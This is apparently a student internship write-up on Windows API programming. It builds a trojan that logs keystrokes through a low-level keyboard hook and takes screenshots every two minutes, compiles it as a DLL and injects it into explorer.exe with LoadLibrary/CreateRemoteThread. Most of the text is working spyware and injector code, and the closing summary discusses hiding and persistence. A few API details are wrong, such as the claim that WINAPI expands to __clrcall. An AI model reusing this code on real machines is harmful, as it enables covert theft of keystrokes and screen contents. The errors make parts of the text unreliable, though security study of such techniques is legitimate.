Week 3: Malware, WINAPI and LoadLibrary Injection

> Author: Nguyen Anh Khoa
>
> Instructor: Dang Dinh Phuong

Introduction

The objectives for this week was writing a simple trojan, and inject/run the malware in Explorer. The goal is to get familier with Windows API and get to know LoadLibrary Injection method.

The trojan we are going to create will have to capture screenshot in 2 minutes interval, while logging the key stroke. Build this first as a program, and then compile it to library as DLL. It should run within Explorer, a trigger program will inject this DLL to Explorer.

WINAPI and windows.h

Windows provides programers a library to interact with the Windows environment. Writing a Windows app using WINAPI, we can create GUI applications, this is what people came to use WINAPI for. A premise when writing these applications are that we must use `windows.h` headers files and use Windows defined types. `windows.h` is the standard library to WINAPI programming, it provides us functions, structs, typedefs, and others definitions. It should be a rule when we need to use Windows defined types even though it just a typedef.

Some common typedef are:

```
typedef unsigned char BYTE;
typedef int BOOL;
typedef char CHAR;
typedef BYTE BOOLEAN;
typedef unsigned long DWORD;
typedef float FLOAT;
typedef PVOID HANDLE;
typedef HANDLE HDC;
typedef HANDLE HDWP;
typedef int INT;
typedef long LONG;
typedef LONG_PTR LPARAM;
typedef __nullterminated CONST CHAR *LPCSTR;
typedef CONST WCHAR *LPCWSTR;
typedef CHAR *LPSTR;
typedef WCHAR *LPWSTR;
typedef void *LPVOID;

#ifdef UNICODE
 typedef LPWSTR LPTSTR;
#else
 typedef LPSTR LPTSTR;
#endif

#ifdef UNICODE
 typedef LPCWSTR LPCTSTR;
#else
 typedef LPCSTR LPCTSTR;
#endif

#if defined(_WIN64)
 typedef __int64 INT_PTR;
#else
 typedef int INT_PTR;
#endif

#if defined(_WIN64)
 typedef __int64 LONG_PTR;
#else
```

```
 typedef long LONG_PTR;
#endif
```

The full list can be found on microsoft/windows/desktop/winprog/windows-data-types.

WinMain, DllMain

The main functions in WINAPI programs are not `main` or `wmain` or `_tmain`. But another function, WinMain for normal programs, and DllMain for a DLL program. The signature of the two functions are:

```
int WINAPI WinMain(
  HINSTANCE hInstance,
  HINSTANCE hPrevInstance,
  PWSTR     pCmdLine,
  int       nCmdShow
);

BOOL WINAPI DllMain(
  _In_ HINSTANCE hinstDLL,
  _In_ DWORD     fdwReason,
  _In_ LPVOID    lpvReserved
);
```

WINAPI is the calling convention, it will be expanded as `__clrcall`. All of the above are a standard, the name of functions can be changed by specifying `/E` when compiling, microsoft/cpp/build/entry-entry-point-symbol. We go one by one.

`WinMain` 's arguments:

- hInstance, a handle to instance `typedef HANDLE HINSTANCE`, Windows use this value to identify the executable.
- hPrevInstance, an old value used in 16bit Windows, default to 0.
- pCmdLine, the command line arguments as Unicode string.
- nCmdShow, the status of the window, minimize, maximize, normal.

`DllMain` 's arguments:

- hinstDLL, base address of the DLL.
- fdwReason, the reason when call this dll, process attach, process detach, thread attach, thread detach.
- lpvReserved, NULL if (process attach && dynamic-load), or if (process detach && FreeLibrary called).

The documents of two functions microsoft/learnwin32/winmain and microsoft/dlls/dllmain.

WinMain

Writing WinMain with System interaction requires our code to catch, and process Events. Normally we write a GUI program and waits for user to click something or type something to the input box. Windows manages these events, and sends the events to its subscriber. Each subscriber has a queue to store the events and processing them. The basic WinMain program:

```
int WINAPI WinMain(
  HINSTANCE hInstance,
  HINSTANCE hPrevInstance,
  PWSTR     pCmdLine,
  int       nCmdShow
) {

  HWND hwnd;
  MSG msg;
   while (GetMessage(&msg, hwnd, 0, 0)) {
     TranslateMessage(&msg);
     DispatchMessage(&msg);
  }
  return 0;
}
```

The Message is event sent by Windows to Application. Message are store in a queue, unsure of the queue type, and `GetMessage` will get the Message out from the queue and put the content to `MSG msg`. `GetMessage` returns 0 on message of type `WM_QUIT`, so the loop will always run, until the app is closed. `GetMessage` don't listen to all event, it only listen to event related to its second argument, the Window Handler. If this argument is NULL, every message in the current thread, or windows on the current thread is retrieved. If this arguments is -1, only message in the current thread where HWND is NULL is retrieved. When the Message is fetched, we process them by calling `DispatchMessage`. `DispatchMessage` will process message using functions that we have defined. And the loop continues. If our input is a keyboard event, `TranslateMessage` will translate ASCII input to ASCII char and put in our Message to Dispatch. This is because Windows stores events as virtual-key message, which fires `WM_KEYDOWN` and `WM_KEYUP` every time the user press a key.

Reference:

- GetMessage, microsoft/desktop/getmessage
- TranslateMessage, microsoft/desktop/translatemessage
- DispatchMessage, microsoft/desktop/dispatchmessage

We know how Messages are processed, but how are they created, and the function process them? As stated before, GetMessage retrieves Message in the Window Handler or the current thread. The Window Handler, when we create a window, we have a variable to register to the function processing Message.

```
// Register the window class.
const wchar_t CLASS_NAME[]  = L"Sample Window Class";

WNDCLASS wc = { };

wc.lpfnWndProc   = WindowProc;  // function to process messages
wc.hInstance     = hInstance;
wc.lpszClassName = CLASS_NAME;
RegisterClass(&wc);


/// WindowProc
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
  switch (uMsg) {
    // process message wParam, lParam
    default: break;
  }
}
```

The switch value of `uMsg` are Window Messages and Window Notifications.

We can set other functions for specific Message type.

```
LRESULT SendMessage(
  HWND   hWnd,
  UINT   Msg,
  WPARAM wParam,
  LPARAM lParam
);

BOOL SendMessageCallbackA(
  HWND          hWnd,
  UINT          Msg,
  WPARAM        wParam,
  LPARAM        lParam,
  SENDASYNCPROC lpResultCallBack,
  ULONG_PTR     dwData
);

LRESULT SendMessageTimeoutA(
  HWND       hWnd,
  UINT       Msg,
  WPARAM     wParam,
  LPARAM     lParam,
  UINT       fuFlags,
  UINT       uTimeout,
  PDWORD_PTR lpdwResult
);
```

```
BOOL SendNotifyMessageA(
  HWND   hWnd,
  UINT   Msg,
  WPARAM wParam,
  LPARAM lParam
);

BOOL PostMessageA(
  HWND   hWnd,
  UINT   Msg,
  WPARAM wParam,
  LPARAM lParam
);

BOOL PostThreadMessageA(
  DWORD  idThread,
  UINT   Msg,
  WPARAM wParam,
  LPARAM lParam
);
```

Each of the above methods have their own pros and cons. Send methods do not put the Message to queue, but rather fire a Message and process. Post methods will put the Message on queue. SendMessage is also a blocking methods.

DllMain

DllMain is quite simple, we use switch to defined what should be done on process/thread attach/detach.

```
BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,  // handle to DLL module
    DWORD     fdwReason, // reason for calling function
    LPVOID    lpReserved // reserved
) {
  switch (fdwReason) {
    case DLL_PROCESS_ATTACH:
      // Initialize once for each new process.
      // Return FALSE to fail DLL load.
      break;

    case DLL_THREAD_ATTACH:
      // Do thread-specific initialization.
      break;

    case DLL_THREAD_DETACH:
      // Do thread-specific cleanup.
      break;

    case DLL_PROCESS_DETACH:
      // Perform any necessary cleanup.
      break;
  }
  return TRUE;
}
```

However, we should note that `DllMain` should not be run more than 300ms. So we must create a thread if we want to run something too long. This is not the case if we only write simple library. However, we are using the LoadLibrary method to inject our DLL that uses a Message loop.

The malware

Our malware will be using the Message loop to listen to Keyboard event, global Keyboard event; and periodically send a Message to take screenshot of the machine. We will set up like this.

```
int WINAPI
wWinMain(
    HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    PWSTR pCmdLine,
```

```
    int nCmdShow
) {
  UINT min = 60 * 1000;
  UINT_PTR timer = SetTimer(NULL, 0, 2 * min, (TIMERPROC) screenshot);  // setup a 2 min loop
  HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, Keylogger, 0, 0);

  PostMessage(NULL, WM_TIMER, 0, 2 * min);    // take screenshot on start

  MSG msg;
  while (GetMessage(&msg, NULL, 0, 0)) {
    TranslateMessage(&msg);
    DispatchMessage(&msg);

    if (msg.message == WM_TIMER)
      screenshot(NULL, WM_TIMER, 0, 2 * min);  // first screenshot
    }

  return 0;
}
```

We will use `SetTimer` to activate a Message every 2 minutes and will use the `screenshot` function to process the Message. We will setup a hook to Keyboard using `SetWindowsHookEx`, we hook up `WH_KEYBOARD_LL` event, which will monitor low-level keyboard events. Set timer does not trigger immediately so if we want to take a screenshot when we start the application, we will have to manualy push a Message using `PostMessage`.

The screenshot function must have a signature like `TIMERPROC`, `void Timerproc(HWND Arg1, UINT Arg2, UINT_PTR Arg3, DWORD Arg4)`. And the screenshot is taken by capture the windows to a bitmap and saving the bitmap. The Keylogger function is a function to process key events by keycode, a signature of HOOKPROC, `LRESULT Hookproc(int code, WPARAM wParam, LPARAM lParam)`.

```
LRESULT CALLBACK
Keylogger(int nCode, WPARAM wParam, LPARAM lParam) {
  if (nCode != HC_ACTION)
    return CallNextHookEx(NULL, nCode, wParam, lParam);
  if (wParam != WM_KEYDOWN && wParam != WM_SYSKEYDOWN)
    return CallNextHookEx(NULL, nCode, wParam, lParam);

  PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) lParam;
  logkey(p->vkCode);
  return CallNextHookEx(NULL, nCode, wParam, lParam);
}
```

The function above reflect the event of `WH_KEYBOARD_LL`, as stated in LowLevelKeyboardProc callback function. The `PKBDLLHOOKSTRUCT.vkCode` is a Virtual Key code which will be a number from 1 to 254 represents input of the system.

The code to take screenshot and convert to bitmap is:

```
int cx = GetSystemMetrics(SM_CXVIRTUALSCREEN);
int cy = GetSystemMetrics(SM_CYVIRTUALSCREEN);

// get current screenshot
HDC hScreen = GetDC(NULL);
HDC hDC = CreateCompatibleDC(hScreen);
HBITMAP hBitmap = CreateCompatibleBitmap(hScreen, cx, cy);
HBITMAP oldBitmap = (HBITMAP) SelectObject(hDC, hBitmap);

// convert to bitmap
BitBlt(hDC, 0, 0, cx, cy, hScreen, 0, 0, SRCCOPY);
hBitmap = (HBITMAP) SelectObject(hDC, oldBitmap);

// save bitmap
savebitmap(hDC, hBitmap);

// clean up
DeleteDC(hDC);
DeleteDC(hScreen);
DeleteObject(hBitmap);
```

We will get the current screen from Device Context, DC, create a compatitle Bitmap and select the frame from Device Context. After that we will convert the frame to Bitmap, using SelectObject. Then we have a HBITMAP object, we can save the bitmap, using the code from Microsoft, this process just simply writing the content to the file according to the Bitmap file specification. The Bitmap file is like the following:

```
+---------------+
| File header   |
+---------------+
| Bitmap header |
+---------------+
| Color Palette |
+---------------+
| Index-ColorID |
+---------------+
```

The Color Palette is a struct contains the RGB and Opacity values in 4 bytes, defines a color. The Index-ColorID is an array of ColorID to define what color should be use on that index.

```
typedef struct tagRGBQUAD {
  BYTE rgbBlue;
  BYTE rgbGreen;
  BYTE rgbRed;
  BYTE rgbReserved;
} RGBQUAD;
```

For example, if we have 2 color `0` and `1`. Our image will be an array, row-wise, contains `0` and `1` to define the color used at each index.

The code to store the image given a HBITMAP object can be found in microsoft/bitmap-storage.

The whole code of the program is on github/nganhkhoa/viettel_internship/70d8b5fb69

Now we will change the malware from WinMain to DllMain to compile as a DLL.

This is just a rewrite of the main function, everything remains unchanged. We should keep in mind that the main function of a DLL cannot exceed 300ms, so we need to create a thread to run our DLL.

```
BOOL APIENTRY
DllMain (
  HANDLE hModule,
  DWORD ul_reason_for_call,
  LPVOID lpReserved
) {

  // this main should not run more than 300ms
  switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
      CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) begin, NULL, 0, NULL);
      break;
    default:
      break;
  }

  return TRUE;
}
```

Where `begin` is our old main function. Now the malware main part is done, we will have to inject this malware into a running process, our target is `explorer.exe`.

The Injection

We will be using `LoadLibrary` Injection. Now, `LoadLibrary` is a function of Windows, which when called, will load the DLL. Which, if we call `LoadLibrary('/path/to/our/malware.dll')` we will load the malware into our process. If we want to inject our DLL to another process other than ours, we will have to connect to that process. Luckily, Microsoft has a way and it is called a `ProcessHandler`, and we can create this `ProcessHandler` by calling `OpenProcess(..., pid)`. After that, we can use a few limited, but suffice, functions to inject our DLL to it.

```
HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL  bInheritHandle,
  DWORD dwProcessId
);
```

We will be using three functions, `VirtualAllocEx`, `WriteProcessMemory`, and `CreateRemoteThread`. As the names suggest, we can malloc a new space in a process, write to that space, and create a thread in another process.

The simple LoadLibrary injection, will be like this:

1. Create a space contains the dll path as dllpath
2. Create a thread and call LoadLibrary(dllpath)

Because when we create a thread using another process, the code is run inside that process address space. We need the address of the dll in that process address space, so we will create a space to contains the dll path, and call LoadLibrary with that path we created in the address space.

One last thing, we also need the LoadLibrary in the address space of that process to call. This is not a problem, since LoadLibrary is a function exported from `kernel32.dll`, a system kernel library. And Microsoft guaranteed that this library will be loaded as the same address space for every process. We can get the address of the function by finding in our own process using `GetProcAddress` and `GetModuleHandler`.

```
GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA")
```

Now we can create a wrapper to inject our malware library to the target process.

```
int main(int argc, char** argv) {
  LPCSTR DllPath = "path\\to\\the\\malware.dll";
  HANDLE hProcess = FindProcess("explorer.exe");
  LPVOID pDllPath = VirtualAllocEx(hProcess, 0, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
  WriteProcessMemory(hProcess, pDllPath, (LPVOID) DllPath, strlen(DllPath) + 1, 0);

  DWORD threadId;
  HANDLE hLoadThread = CreateRemoteThread(
      hProcess, 0, 0,
      (LPTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA"),
      pDllPath, 0, &threadId
  );

  if (hLoadThread == NULL) {
    printf("Error Create Remote Thread\n");
    return 1;
  }
  printf("Successfully create thread with id %d\n", threadId);

  VirtualFreeEx(hProcess, pDllPath, strlen(DllPath) + 1, MEM_RELEASE);
}
```

FindProcess is a function that will iterate through the processes to find the process with the same name. The code can be found on github/nganhkhoa/viettel_internship/63a918e25a.

The process run successfully, open up Task Manager won't show process, just `explorer.exe`. However, if we open up any program specify for inspecting processes, we can see our `sss.dll` running in the modules of `explorer.exe`. This is because we load a module outside of explorer. Another approach is to write the whole DLL into the memory, but another problem arises when handling with relative address in the memory of the process as the process does not know that a DLL is inside it.

arvanaghi.com/dll-injection-using-loadlibrary-in-C.

Summary

Writing a simple malware is not hard, most of what modern malware does can be found on the internet, and Windows stuff. However hiding of the malware is an issue, the malware should be able to hide itself, duplicate, and many more task to make the user of the infected machine unaware of its existance. LoadLibrary is a simple technique to load and run an outside DLL, however this loaded DLL if not written carefully will be easy to find by an expert. More over, as this is method requires another program to trigger loading of the DLL. If this program is deleted, the DLL will not be loaded, atleast if the DLL itself does not check for existence of the trigger program and create the program again.